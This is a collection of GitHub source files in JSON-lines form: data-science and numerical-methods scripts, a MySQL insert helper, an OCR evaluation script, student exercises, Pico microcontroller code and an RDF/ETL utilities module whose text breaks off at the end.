+{"seq_id":"70930463076","text":"import numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nfrom sklearn.decomposition import PCA\ntrain = pd.read_csv(\"D:/DIT-2016-2019/NEW/Dissertation/data/data1-train.csv\")\ntest = pd.read_csv(\"D:/DIT-2016-2019/NEW/Dissertation/data/data1-test.csv\")\ndf = pd.read_csv(\"D:/DIT-2016-2019/NEW/Dissertation/data/fisherscore/data1trainFS.csv\")\ndf = df.loc[df['rank']<41]\nfeatures = df['features'].tolist()\nx_train=train[features]\ny_train = train['Churn']\nx_test = test[features]\ny_test = test['Churn']\n#print(features)\n#print(x_train.head())\n\npca = PCA()\npca.fit(x_train)\nx_train = pca.transform(x_train)\nprint (pca.explained_variance_ratio_.cumsum())\n","repo_name":"d16124657/CP-in-TCI","sub_path":"modelPCA.py","file_name":"modelPCA.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"11306710483","text":"\"\"\"\nZadanie numeryczne NUM 2\nAutor: Igor Zamojski\n\nZadane są macierze [...]. Zdefiniujmy wektor[ [...].\nUżywając wybranego pakietu algebry komputerowej lub biblioteki numerycznej, rozwiąż równania macie-\nrzowe A_i y = b dla i = 1, 2. Ponadto, rozwiąż analogiczne równania z zaburzonym wektorem wyrazów\nwolnych, Aiy = b + ∆b. Zaburzenie ∆b wygeneruj jako losowy wektor o małej normie euklidesowej (np.\n||∆b|| ≈ 10^(−6)). Przeanalizuj jak wyniki dla macierzy A_1 i A_2 zależą od ∆b i zinterpretuj zaobserwowane\nróżnice.\n\"\"\"\n\nimport math\nimport random\nimport numpy as np\nfrom colorama import Fore, Back, Style\n\n# wartość tej stałej wynika bezpośrednio z równania ||∆b|| ≈ 10^(−6) .\nMAX_DISTURBANCE_RAND = 2 * math.sqrt(5) / 5 * (10 ** -6)\n\n\ndef get_norm(v):\n sum_of_squares = 0\n for n in v:\n sum_of_squares += n[0] ** 2\n return math.sqrt(sum_of_squares)\n\n\ndef list_solutions(s_no_err, s_wi_err) -> None:\n errors = [abs(s_wi_err[i] - s_no_err[i]) for i in range(len(s_no_err))]\n print(Fore.BLACK + Back.LIGHTWHITE_EX + \" x1 x2 x3 x4 x5 \" + Style.RESET_ALL)\n print(Fore.LIGHTGREEN_EX + \" - Dokładne wartości: \")\n print(\" \" + \", \".join([\"{:<19}\".format(v) for v in s_no_err]))\n print(Fore.LIGHTRED_EX + \" - Po wprowadzeniu zaburzenia: \")\n print(\" \" + \", \".join([\"{:<19}\".format(v) for v in s_wi_err]))\n print(Fore.LIGHTBLUE_EX + \" - Błąd poszczególnych wartości:\")\n print(\" \" + \", \".join([\"{:<19}\".format(e) for e in errors]))\n print(\" - Suma błędów: \" + Fore.BLACK + Back.LIGHTWHITE_EX + \" \" + str(sum(errors)) + \" \" + Style.RESET_ALL)\n\n\ndef get_solutions(matrix_list, const_b) -> list:\n solutions = []\n for i in range(len(matrix_list)):\n try:\n solution = np.linalg.solve(matrix_list[i], const_b)\n except np.linalg.LinAlgError:\n print(\"LinAlgError caught while computing solution.\")\n raise\n solutions.append([s[0] for s in solution.A])\n return solutions\n\n\ndef main():\n # wczytaj macierze A1, A2 i wektor b\n a1 = np.matrix([\n [2.554219275, 0.871733993, 0.052575899, 0.240740262, 0.316022841],\n [0.871733993, 0.553460938, -0.070921727, 0.255463951, 0.707334556],\n [0.052575899, -0.070921727, 3.409888776, 0.293510439, 0.847758171],\n [0.240740262, 0.255463951, 0.293510439, 1.108336850, -0.206925123],\n [0.316022841, 0.707334556, 0.847758171, -0.206925123, 2.374094162]\n ])\n a2 = np.matrix([\n [2.645152285, 0.544589368, 0.009976745, 0.327869824, 0.424193304],\n [0.544589368, 1.730410927, 0.082334875, -0.057997220, 0.318175706],\n [0.009976745, 0.082334875, 3.429845092, 0.252693077, 0.797083832],\n [0.327869824, -0.057997220, 0.252693077, 1.191822050, -0.103279098],\n [0.424193304, 0.318175706, 0.797083832, -0.103279098, 2.502769647]\n ])\n b = np.matrix([-0.642912346, -1.408195475, 4.595622394, -5.073473196, 2.178020609])\n a = [a1, a2]\n\n # rozwiąż a_i y = b dla macierzy a1, a2 oraz DOKŁADNEJ wartości b\n solutions_no_error = get_solutions(a, b.T)\n\n # wprowadź zaburzenie do wektora wyrazów wolnych b\n delta_b = np.matrix([random.uniform(-MAX_DISTURBANCE_RAND, MAX_DISTURBANCE_RAND) for _ in range(5)])\n b_disturbed = b + delta_b\n\n # rozwiąż a_i y = b dla macierzy a1, a2 oraz ZABURZONEJ wartości b\n solutions_with_error = get_solutions(a, b_disturbed.T)\n\n # wypisz wyniki\n print(\"\\n\\nDla A1 y = b:\")\n list_solutions(solutions_no_error[0], solutions_with_error[0])\n print(Fore.BLACK + Back.LIGHTWHITE_EX + \" - WSKAŹNIK UWARUNKOWANIA macierzy A1 = \" + str(int(np.linalg.cond(a1))) + \" \" + Style.RESET_ALL)\n print(\"Wskaźnik uwarunkowania macierzy A1 jest bardzo duży, zatem rozwiązanie \\nukładu liniowego macierzy A1 jest zatem numerycznie źle uwarunkowane!\")\n\n print(\"\\nDla A2 y = b:\")\n list_solutions(solutions_no_error[1], solutions_with_error[1])\n print(Fore.BLACK + Back.LIGHTWHITE_EX + \" - WSKAŹNIK UWARUNKOWANIA macierzy A2 = \" + str(int(np.linalg.cond(a2))) + \" \" + Style.RESET_ALL)\n print(\"Wskaźnik uwarunkowania macierzy A2 jest o wiele mniejszy od A1, zatem \\nrozwiązanie układu liniowego macierzy A2 jest numerycznie dobrze uwarunkowane.\")\n\n print(\"\\nMacierz zaburzenia ∆b:\")\n print(\" [\" + \", \".join([\"{:<19}\".format(v[0]) for v in delta_b.T.A]) + \"]\")\n print(\" Norma ||∆b|| = \" + np.format_float_scientific(get_norm(delta_b.T.A)) + \"\\n\\n\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Pilleow/numerki","sub_path":"num2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4616,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"14472245822","text":"import mysql.connector\nfrom mysql.connector import Error, errorcode\n\n# MySQL connection config\ndb_config = {\n \"user\": \"root\",\n \"password\": \"pwd\",\n \"host\": \"localhost\",\n \"port\": \"8083\",\n \"database\": \"users\",\n}\n\n# Create connection to the MySQL database\nsql_connection = mysql.connector.connect(**db_config)\n\n# Create cursor to interact with the database\ncursor = sql_connection.cursor()\n\n\ndef insert_users(user_info):\n try:\n # Insert statement\n insert_statement = \"INSERT INTO user_info (first_name, last_name, dob, gender, name_character_count) VALUES (%s, %s, %s, %s, %s)\"\n\n # Insert each user into db\n data = (\n user_info[\"first_name\"],\n user_info[\"last_name\"],\n user_info[\"dob\"],\n user_info[\"gender\"],\n user_info[\"name_char_count\"],\n )\n cursor.execute(insert_statement, data)\n\n sql_connection.commit()\n except mysql.connector.Error as err:\n # If user already exists in database, ignore and continue\n if err.errno == errorcode.ER_DUP_ENTRY:\n print(\n f\"User {user_info['first_name']} {user_info['last_name']} already exists in database. Skipping...\"\n )\n else:\n print(f\"Error inserting user: {user_info}\")\n","repo_name":"arogan178/dockerized_database","sub_path":"api_scripts/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"32440829985","text":"import os\nimport sys\nimport glob\nimport logging\nimport cv2\nimport numpy as np\n\nfrom .utils import imread\nfrom .cn_std import CnStd\n\nlogger = logging.getLogger(__name__)\n\n\ndef weighted_fusion(seg_maps, image):\n h, w, _ = image.shape\n seg_maps = np.squeeze(seg_maps)\n save_img_list = []\n for i, seg_map in enumerate(seg_maps):\n seg_map = np.expand_dims(seg_map, axis=2)\n seg_map_3c = np.repeat(seg_map, 3, 2) * 255\n seg_map_3c = cv2.resize(\n seg_map_3c, dsize=(w, h), interpolation=cv2.INTER_LINEAR\n )\n att_im = cv2.addWeighted(seg_map_3c.astype(np.uint8), 0.5, image, 0.5, 0.0)\n save_img_list.append(att_im)\n return save_img_list\n\n\ndef evaluate(\n backbone,\n model_root_dir,\n model_epoch,\n image_dir,\n output_dir,\n max_size,\n pse_threshold,\n pse_min_area,\n ctx=None,\n):\n # process image\n if os.path.isfile(image_dir):\n imglst = [image_dir]\n elif os.path.isdir(image_dir):\n imglst = glob.glob1(image_dir, \"*g\")\n imglst = [os.path.join(image_dir, fn) for fn in imglst]\n else:\n logger.error('param \"image_dir\": %s is neither a file or a dir' % image_dir)\n raise TypeError(\n 'param \"image_dir\": %s is neither a file or a dir' % image_dir\n )\n\n # restore model\n cn_str = CnStd(\n model_name=backbone, model_epoch=model_epoch, root=model_root_dir, context=ctx\n )\n\n for im_name in imglst:\n item = os.path.basename(im_name)\n out_fusion_img_name = os.path.join(output_dir, \"fusion_\" + item)\n if os.path.exists(out_fusion_img_name):\n continue\n logger.info(\"processing image {}\".format(item))\n box_info_list = cn_str.detect(im_name, max_size, pse_threshold, pse_min_area)\n\n img = imread(im_name)\n img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n if len(box_info_list) > 0:\n # save result\n out_text_name = os.path.join(output_dir, item[:-4] + '.txt')\n with open(out_text_name, 'w') as f:\n for idx, box_info in enumerate(box_info_list):\n box = box_info['box']\n if (\n np.linalg.norm(box[0] - box[1]) < 10\n or np.linalg.norm(box[3] - box[0]) < 10\n ):\n continue\n cv2.drawContours(img, [box], 0, (0, 0, 255), 2)\n f.write(\n '{},{},{},{},{},{},{},{}\\r\\n'.format(\n box[0, 0],\n box[0, 1],\n box[1, 0],\n box[1, 1],\n box[2, 0],\n box[2, 1],\n box[3, 0],\n box[3, 1],\n )\n )\n cropped_img = box_info['cropped_img']\n cropped_img_name = os.path.join(\n output_dir, \"fusion_\" + item + \"_crop%d.jpg\" % idx\n )\n cv2.imwrite(\n cropped_img_name, cv2.cvtColor(cropped_img, cv2.COLOR_RGB2BGR)\n )\n\n fusion_imgs = weighted_fusion(cn_str.seg_maps, img)\n _imwrite(out_fusion_img_name, fusion_imgs, img)\n # cv2.imwrite(out_fusion_img_name, img)\n\n\ndef _imwrite(out_fusion_img_name, fusion_imgs, img):\n fusion_imgs.insert(0, img)\n assert len(fusion_imgs) % 2 == 0\n new_imgs = []\n for i in range(len(fusion_imgs) // 2):\n new_imgs.append(np.concatenate(fusion_imgs[i*2:i*2+2], 1))\n final_img = np.concatenate(new_imgs, 0)\n cv2.imwrite(out_fusion_img_name, final_img)\n","repo_name":"Everfighting/mail_attachment_auto_recognize","sub_path":"cnstd/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"74098202596","text":"##### Write a function that takes the name of a text file as a parameter. Print out the 3-letter words that start with “b”\n\ndef namefunction ( parameter_file ):\n fd = open (parameter_file)\n for line in fd:\n words = line.split() # I have all the words\n for word in words:\n if word [0] == \"b\" and len(word)==3:\n print (word)\n\n##### Write a recursive function (function that calls itself) that computes a to the power b (a and b are parameters given to the function)\n\n## (1)\ndef recursive (a,b):\n if b==0:\n return 1\n return a*recursive(a, b-1)\n## (2)\ndef recursive (a,b):\n result = 1\n for i in range(b):\n result = result * a\n return result\n\n##### Write a function that takes an integer as a parameter and returns a list of all the divisors of that number:\tEx: 47 -> [1,4,7], 28 -> [1,2,4,7,14,28]\ndef divisor (n):\n numbers = [] # create a list\n for x in range(1,n+1): # in order to include n\n if n%x == 0:\n numbers.append(x) # add to the end of the list \"numbers\"\n return numbers\n\n##### Write a function that forces the user to enter a multiple of 6 number. Use try, except to catch invalid inputs. Return that number\ndef function():\n try:\n\n if(int(input(\"tell me a number\")) % 6 == 0):\n print(\"thanks\")\n return True\n else:\n print(\"try a different number\")\n return False\n except:\n print(\"That is not a number\")\n return False\n\nwhile True:\n\n if function() == True:\n break\n else:\n continue","repo_name":"claraduboisr/MissingExercises","sub_path":"13_14_session.py","file_name":"13_14_session.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"34383117405","text":"from Data_Buffer import *\nfrom machine import Pin\nimport time\n\n\ndef main():\n led = Pin(25, Pin.OUT)\n led.on()\n # Show Power on\n if check_power_type() == 1:\n print(\"On USB Connection\")\n else:\n for i in range(5):\n led.toggle()\n time.sleep(1)\n # Start True Loop\n while True:\n led.on()\n data_buffer = Buffer()\n data_buffer.create_rolling_buffer()\n led.off()\n time.sleep(1)\n\n\ndef check_power_type():\n #Check the 5v VBUS senser as this will only trigger when on usb to computer\n #This removes the need to nuke the device to stop main.py running\n vbus_sense_pin = Pin(24, Pin.IN)\n return vbus_sense_pin.value()\n\nmain()\n","repo_name":"Jack-Moss/Rasperry-Pi-Pico-10dof-IMU-Sensor","sub_path":"code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"1216181544","text":"\n\"\"\"\n\tUtilites about ETL pipelines, see the main package.\n\t\n\t:Authors: Marco Brandizi\n\t:Date: 2020\n\"\"\"\n\nfrom builtins import isinstance\nimport hashlib\nimport json\nimport logging.config\nimport os, io, csv\nfrom os.path import dirname, abspath, isfile, exists\nimport string, re\nfrom subprocess import run\nfrom sys import stdout, stderr\nimport traceback\nimport urllib\n\nfrom pyparsing import ParseException\nfrom rdflib import Graph\nfrom rdflib.namespace import NamespaceManager\nfrom rdflib.term import Literal\nfrom rdflib.util import from_n3\nimport yaml\n\nfrom functools import singledispatch\nimport shutil\n\n\n\"\"\"\n\tCheck that the environment variables expected by the ETL Tools is set. Raise an error\n\tif not.\n\"\"\"\ndef check_env ():\n\tif not os.getenv ( \"ETL_OUT\" ):\n\t\traise KeyError ( \"ETL_OUT undefined, initialise the environment with some ***-env.sh\" )\n\n\"\"\"\n\tCheck for the existance of the JENA_HOME environment variable. Raise an error if not found.\n\"\"\"\ndef get_jena_home ():\n\tjena_home = os.getenv ( \"JENA_HOME\" )\n\tif not jena_home:\n\t\traise KeyError ( \"JENA_HOME not defined! Set it in your OS environment\" )\n\treturn jena_home\n\n\"\"\"\n\tAn extended version of rdflib.NamespaceManager, with a few little utilities added.\n\"\"\"\nclass XNamespaceManager ( NamespaceManager ):\n\t\n\tdef __init__ ( self, base_ns_mgr = None ):\n\t\tif not base_ns_mgr:\n\t\t\tbase_ns_mgr = NamespaceManager( Graph () )\n\t\tself.__base = base_ns_mgr\n\n\tdef __getattr__ ( self, attr ):\n\t\treturn getattr ( self.__base, attr )\n\n\tdef __setattr__ ( self, attr, val ):\n\t\tif attr == '_XNamespaceManager__base':\n\t\t\tNamespaceManager.__setattr__ ( self, attr, val )\n\t\treturn setattr ( self.__base, attr, val )\n\t\n\t\"\"\"\n\t\tResolves a URI. \n\t\t\n\t\tThis might be either a CURIE using a known namespace prefix (eg, rdfs:label), \n\t\ta namespace prefix followed by a tail (eg, \"rdfs\", \"label\"), or a namespace prefix \n\t\tonly (eg, \"rdfs:\").\n\t\t\n\t\tfrom_n3() is used, so the parameter could have other formats too (eg, ), \n\t\tbut the method isn't designed for that.\n\t\t\n\t\tThis returns a rdflib's URIRef, use uri() to get a string.\t\n\t\"\"\"\n\tdef uri_ref ( self, curie_or_prefix, tail = None ):\n\t\tcurie = curie_or_prefix\n\t\tif tail: curie += ':' + tail\n\t\treturn from_n3 ( curie, nsm = self )\n\t\n\t\"\"\"\n\t\tInvokes uri_ref() and translates the result into a string.\n\t\"\"\"\n\tdef uri ( self, curie_or_prefix, tail = None ) -> str:\n\t\treturn str ( self.uri_ref ( curie_or_prefix, tail ) )\n\t\n\t\"\"\"\n\t\tReturns the URI corresponding to a namespace prefix (as URIRef).\n\t\"\"\"\n\tdef ns_ref ( self, ns_prefix ):\n\t\tif ns_prefix [-1] != ':': ns_prefix += ':'\n\t\treturn self.uri_ref ( ns_prefix )\n\n\t\"\"\"\n\t\tInvokes str(ns_ref())\n\t\"\"\"\n\tdef ns ( self, ns_prefix ) -> str:\n\t\treturn str ( self.ns_ref ( ns_prefix ) )\n\n\t\"\"\"\n\t\tTranslates all the managed prefixes into a format suitable for an RDF language (eg, Turtle, SPARQL).\n\t\t\n\t\tDoes this simply using a template like the default.\n\t\"\"\"\n\tdef to_lang ( self, line_template = 'PREFIX {prefix}: <{uri}>' ) -> str:\n\t\tnss = self.namespaces ()\n\t\tif not nss: return \"\"\n\t\treturn '\\n'.join ( [\tline_template.format ( prefix = prefix, uri = uri ) for prefix, uri in nss ] )\n\n\t\"\"\"\n\t\tSee to_lang()\n\t\"\"\"\n\tdef to_sparql ( self ):\n\t\treturn self.to_lang ()\n\n\t\"\"\"\n\t\tSee to_lang()\n\t\"\"\"\n\tdef to_turtle ( self ):\n\t\treturn self.to_lang ( 'prefix {prefix}: <{uri}>' )\n\n\t\"\"\"\n\t\tLoads namespace definitions from a file in formats like .ttl or .rdf. \n\t\tUses rdflib.Graph.parse().\n\t\"\"\"\n\tdef load ( self, doc_uri, rdf_format = None ):\n\t\tg = Graph ()\n\t\tg.parse ( doc_uri, format = rdf_format )\n\t\tself.merge_ns_manager ( g.namespace_manager )\n\t\n\t\"\"\"\n\t\tMerges another Namespace manager into this.\n\t\"\"\"\n\tdef merge_ns_manager ( self, nsm ):\n\t\tfor prefx, ns in nsm.namespaces ():\n\t\t\tself.bind ( prefx, ns, True, True )\n\t\n\"\"\"\n\tThese are loaded from various places:\n\t\t- /default-namespaces.ttl in this package\n\t\t- NAMESPACES_PATH if it is set\n\"\"\"\nDEFAULT_NAMESPACES = XNamespaceManager ()\nDEFAULT_NAMESPACES.load ( dirname ( abspath ( __file__ ) ) + \"/default-namespaces.ttl\", \"turtle\" )\nif os.getenv ( 'NAMESPACES_PATH' ):\n\tDEFAULT_NAMESPACES.load ( os.getenv ( 'NAMESPACES_PATH' ), \"turtle\" )\n\n\"\"\"\n\tAn RDF test utility.\n\n\tExecute the ASK query against the graph and returns the result.\n\t\n\tif namespaces is None, nss to prefix ask_query are got from graph.namespace_manager\n\tif namespaces is explicitly False, no prefixes are added to the query \n\"\"\"\ndef sparql_ask ( graph: Graph, ask_query: str, namespaces = None ):\n\tif not namespaces and namespaces is not False:\n\t\tnamespaces = XNamespaceManager ( graph.namespace_manager )\n\tif namespaces: \n\t\task_query = namespaces.to_sparql () + \"\\n\" + ask_query\n\ttry:\n\t\treturn bool ( graph.query ( ask_query ) )\n\texcept ParseException as ex:\n\t\traise ParseException ( \"Error while executing SPARQL: '%s', query:\\n%s\" % ( ex.msg, ask_query ) ) from ex\n\n\n\"\"\"\n\tWARNING! Never tested!\n\"\"\"\ndef sparql_ask_tdb ( tdb_path: string, ask_query, namespaces = DEFAULT_NAMESPACES ):\n\tif namespaces: ask_query = namespaces.to_sparql () + \"\\n\" + ask_query\n\tjena_home = get_jena_home ()\n\tproc = run ( \n\t\t[ jena_home + \"/bin/tdbquery\", \"--loc=%s\" % tdb_path, \"--query=-\" ], \n\t\tcapture_output = True,\n\t\tinput = ask_query,\n\t\tencoding = 'UTF-8'\n\t)\n\tif proc.returncode != 0:\n\t\traise ChildProcessError ( \"Error #%d while running ASK test \" % proc.returncode )\n\n\treturn \"Yes\" in proc.stdout\n\n\"\"\" \n\tGets an ID out of a string, by doing some normalisation.\n\t\n\tIf skip_non_word_chars is set, non-words characters (\\W) are replaced with empty strings. This means\n\tthat, for instance \"aren't\" and \"arent\" become the same ID. This might be useful when you build IDs\n\tout of free text, it's certainly isn't when you deal with stuff like accessions or preferred names. \n\"\"\"\ndef make_id ( s, skip_non_word_chars = False, ignore_case = True ):\n\tif ignore_case: s = s.lower ()\n\ts = re.sub ( \"\\\\s\", \"_\", s )\n\ts = re.sub ( \"/\", \"%2F\", s )\n\tif skip_non_word_chars: s = re.sub ( \"\\\\W\", \"\", s, re.ASCII )\n\ts = urllib.parse.quote ( s )\n\ts = re.sub ( \"%\", \"_0x\", s, re.ASCII ) # parsers don't like '%20'\n\treturn s\n\n\"\"\"\n\tExtracts the last part of a URI, relying on characters like '#' or '/'.\n\"\"\"\ndef uri2accession ( uri ):\n\tbits = re.split ( \"[\\\\/,\\#,\\?]\", uri )\n\tif not bits: return \"\"\n\treturn bits [ -1 ]\n\n\"\"\"\n\tComputes a SHA1 hash from a string and returns a human-readable hexadecimal representation.\n\t\n\tThis is often used to build unique identifiers from free-text strings. \n\"\"\"\ndef hash_string ( s: str, ignore_case = True ):\n\tif ignore_case: s = s.lower ()\n\th = hashlib.sha1 ( s.encode() )\n\treturn h.hexdigest()\n\n\"\"\"\n\tInvokes hash_string from each str(element) in the generator.\n\t\n\tThe stringified elements are sorted by default, so that two different lists always generate the same hash/ID.\t\n\"\"\"\ndef hash_generator ( g, ignore_case = True, sort = True ):\n\tl = [ str ( i ) for i in g ]\n\tif ignore_case: l = [ s.lower () for s in l ]\n\tif sort: l.sort()\n\treturn hash_string ( \"\".join ( l ), ignore_case )\n\n\"\"\"\n\tAn adapter to send a string writer to a function that accepts a binary writer. \n\t\n\tFor instance, you can use this to write plain strings into a compressed file, \n\tsee details at https://stackoverflow.com/questions/66375185\n\t\n\tUsage example:\n\t\n\twith bz2.open ( file_path, \"w\" ) as bout\n\t\tout = BinaryWriter ( bout )\n\t\tprint ( \"Hello, world\", file = out )\n\t\tmy_output ( out ) # Uses print( ..., file = out )\n\n\t\t\t\t\n\tFor cases where compression is optional:\n\n\tout = open ( file_path, mode = \"w\" ) if not file_path.endswith ( \".bz2\" ) \\\n\t\t\t\telse BinaryWriter ( bz2.open ( file_path, \"w\" ) )\n\ttry:\n\t\tmy_output ( out )\n\tfinally:\n\t\tout.close ()\n\t\n\"\"\"\nclass BinaryWriter:\n\tdef __init__ ( self, bin_out, encoding = \"utf-8\", errors = 'strict' ):\n\t\tself.bin_out = bin_out\n\t\tself.encoding = encoding\n\t\tself.errors = errors\n\t\t\n\tdef write ( self, s: str ):\n\t\tself.bin_out.write ( s.encode ( self.encoding, self.errors ) )\n\n\tdef close ( self ):\n\t\tself.bin_out.close ()\n\n\n\n\"\"\"\n\tAllows for some flexibility with CSV document reading.\n\tThe rows_generator parameter can be either of:\n\t\n\t- an io.TextIOBase: passes it to csv.reader() and returns the resulting generator\n\t- a string: opens it as a file, calls itself recursively (to get a csv.reader()) and returns a generator\n\t\tthat iterates over the csv rows like the previous case (done via yield, so the file is auto-closed)\n\t- anything else that supports 'yield': returns the corresponding generator\n\t- none of the above: raises an error\n\t\n\tAs you see, it always returns a generator over which you can iterate independently on the initial source.\t \n\"\"\"\t\ndef normalize_rows_source ( rows_source ):\n\tif isinstance ( rows_source, str ):\n\t\t# Open the file with the csv reader\n\t\twith open ( rows_source ) as csvf:\n\t\t\tyield from normalize_rows_source ( csvf )\n\t\treturn\n\t\n\telif isinstance ( rows_source, io.TextIOBase ):\n\t\t# This includes stdin\n\t\trows_source = csv.reader ( rows_source, delimiter = \"\\t\" )\n\n\tyield from rows_source\t\n\n\"\"\"\n\tUtility to quickly deal with a writer that writes on a file handle.\n\t\n\tThe function checks if out is an handle or a string, in case of string, interprets it as\n\ta file path, opens it and invokes writer() with the corresponding handle.\n\t \n\tIf out is not a string, just invokes writer( out ), which, therefore, must get a file handle\n\tas parameter.\n\t\n\tmode and open_opts are parameters for the open() function. If out isn't a string, they're \n\tignored.\t\n\"\"\"\ndef dump_output ( out, writer, mode = \"w\", **open_opts ):\n\tif isinstance ( out, str ):\n\t\twith open ( out, mode = mode, **open_opts ) as fout:\n\t\t\treturn writer ( fout )\n\treturn writer ( out )\n\n\"\"\"\n\tUtility to quickly send a row generator to an output of type string or file handle, as per\n\tdump_output()\n\"\"\"\ndef dump_rows ( rows, out = stdout, mode = \"w\", **open_opts ):\n\tdef writer ( out ):\n\t\tfor row in rows:\n\t\t\tprint ( row, file = out )\n\tdump_output ( out, writer, mode = mode, **open_opts )\n\t\t\ndef js_from_file ( file_path ):\n\twith open ( file_path ) as jsf:\n\t\treturn json.load ( jsf )\n\ndef js_to_file ( js, file_path ):\n\tos.makedirs ( os.path.dirname ( file_path ) )\n\twith open ( file_path, \"w\" ) as jsf:\n\t\treturn json.dump ( js, jsf )\n\t\n\n\"\"\"\n\tConfigures the Python logging module with a YAML configuration file.\n\t\n\tThe file name is picked from ETL_LOG_CONF, or from /logging.yaml\n\tThis should be called at the begin of a main program and BEFORE any use of the logging module.\n\tMultiple calls of this method are idempotent, ie, the Python logging module configures itself\n\tonce only (and only before sending in logging messages).\n\t\n\tAn example of logging config file is included in ETL tools.\n\t\n\tIf logger_name is provided, the function returns logging.getLogger ( logger_name ) as a facility\n\tto avoid the need to import logging too, when you already import this. Beware that you load a configuration\n\tone only in your application (so, don't use this method in modules just to get a logger). \n\t\n\tparam disable_existing_loggers is false by default, this is the best way to not interfere with modules instantiating\n\ttheir own module logger, usually before you call this function on top of your application (but usually after \n\tall the imports). By default, the Python logging library has this otpion set to true and that typically causes\n\tall the module loggers to be disabled after the configuration loading. See https://docs.python.org/3/library/logging.config.html\n\"\"\"\ndef logger_config ( logger_name = None, disable_existing_loggers = False ):\n\tcfg_path = os.getenv ( \"ETL_LOG_CONF\", \"logging.yaml\" )\n\tif not os.path.isfile ( cfg_path ):\n\t\tprint ( \"*** Logger config file '%s' not found, use the OS variable ETL_LOG_CONF to point to a logging configuration.\" % cfg_path, file = stderr )\n\t\tprint ( \"The logger will use the default configuration \", file = stderr )\n\t\treturn\n\twith open ( cfg_path ) as flog:\t\t\n\t\tcfg = yaml.load ( flog, Loader = yaml.FullLoader )\n\t\t# As per documentation, if not reset, this disables loggers in the modules, which usually are \n\t\t# loaded during 'import', before calling this function\n\t\tcfg [ \"disable_existing_loggers\" ] = disable_existing_loggers\n\t\tlogging.config.dictConfig ( cfg )\n\tlog = logging.getLogger ( __name__ )\n\tlog.info ( \"Logger configuration loaded from '%s'\" % cfg_path )\n\n\tif logger_name: return logging.getLogger ( logger_name )\n\n\n\"\"\"\n\tReturns an RDF/Turtle string, if the key exists in the data dictionary.\n\trdf_tpl must be a template like: dc:title \"{title}\", where 'title' is a data key \n\t(usually the same as key) \n\"\"\"\ndef rdf_stmt ( data, key, rdf_tpl, rdf_val_provider = lambda v: v ):\n\tdata = data.copy ()\n\tval = data.get ( key )\n\tif not val: return \"\"\n\tdata [ key ] = rdf_val_provider ( val )\n\treturn rdf_tpl.format ( **data )\n\n\"\"\"\n\tThe same, but builds the RDF from an RDF property and a converter\n\"\"\"\ndef rdf_pval ( data, key, rdf_prop, rdf_val_provider ):\n\treturn rdf_stmt ( data, key, rdf_prop + \" {\" + key + \"};\\n\", rdf_val_provider )\n\n\"\"\"\n\tThe same, for string values to be translated as literals.\n\"\"\"\ndef rdf_str ( data, key, rdf_prop ):\n\tdef lbuilder ( s ):\n\t\treturn '\"' + str ( Literal ( s ) ) + '\"'\n\treturn rdf_pval ( data, key, rdf_prop, lbuilder )\n\n\"\"\"\n\tThe same as rdf_str, but the value is escaped into triple quotes\n\"\"\"\ndef rdf_text ( data, key, rdf_prop ):\n\tdef lbuilder ( s ):\n\t\treturn '\"\"\"' + str ( Literal ( s ) ) + '\"\"\"'\n\treturn rdf_pval ( data, key, rdf_prop, lbuilder )\n\t\n\n\"\"\"\n\tSimple utility that wraps every line of the current traceback into a pair of prefixes/postfixes.\n\t\n\tThis is useful to report errors in a data file that is later read by some other \n\tdata pipeline component. \n\n\"\"\"\ndef get_commented_traceback ( comment_prefix: str = \"# \", comment_postfix: str = \"\" ):\n\tst = traceback.format_exc()\n\tst = st.splitlines ()\n\tst = [ comment_prefix + line + comment_postfix + \"\\n\" for line in st ]\n\treturn \"\".join ( st )\n\n\"\"\"\n\tSimple utility to download files from URLs\n\t\n\tParameters:\n\t\n\tThere are different forms for the parameters\n\t* url: str, out: str, label: str = None, out_dir = None, overwrite = False\n\t\tsingle download, the URL to download from, the output path, a label for messages, \n\t\ta base output path, if an existing file is to be replaced (else, the download is skipped)\n\t* generator of dictionaries, out_dir, overwrite\n\t\teach dictionary must have the same name as the single case parameters\n\t* generator of lists, out_dir, overwrite\n\t\tevery list represents the positional parameters passed as the first form\t\n\"\"\"\n@singledispatch\ndef download_files ( param ):\n\traise NotImplementedError ( \"Something went wrong with Python single dispatch\" )\n\n@download_files.register ( str )\ndef _download_files_single ( url: str, out: str, label: str = None, out_dir = None, overwrite = False ):\n\tlog = logging.getLogger ( __name__ )\n\tif not label: label = out\n\ttarget_path = out\n\tif out_dir: target_path = out_dir + \"/\" + target_path\n\tif exists ( target_path ):\n\t\tif not isfile ( target_path ):\n\t\t\traise ValueError ( f\"Download target_path '{target_path}' exists but isn't a file\" )\n\t\tif not overwrite: return\n\tlog.info ( f\"Downloading '{label}'\" )\n\twith urllib.request.urlopen ( url ) as response:\n\t\twith open ( target_path, \"wb\" ) as out:\n\t\t\tshutil.copyfileobj ( response, out )\n\n@download_files.register ( object )\ndef _download_files_list ( generator, out_dir = None, overwrite = False ):\n\tfor item in generator:\n\t\tif isinstance ( item, dict ):\n\t\t\tif out_dir: item [ \"out_dir\" ] = out_dir\n\t\t\tif overwrite: item [ \"overwrite\" ] = overwrite\n\t\t\t_download_files_single ( **item )\n\t\t\tcontinue\n\t\tlabel = item [ 3 ] if len ( item ) > 2 else None\n\t\t_download_files_single ( item [ 0 ], item [ 1 ], label, out_dir, overwrite )\n\n\nif __name__ == '__main__':\n\tlogger_config ()\n\tcheck_env 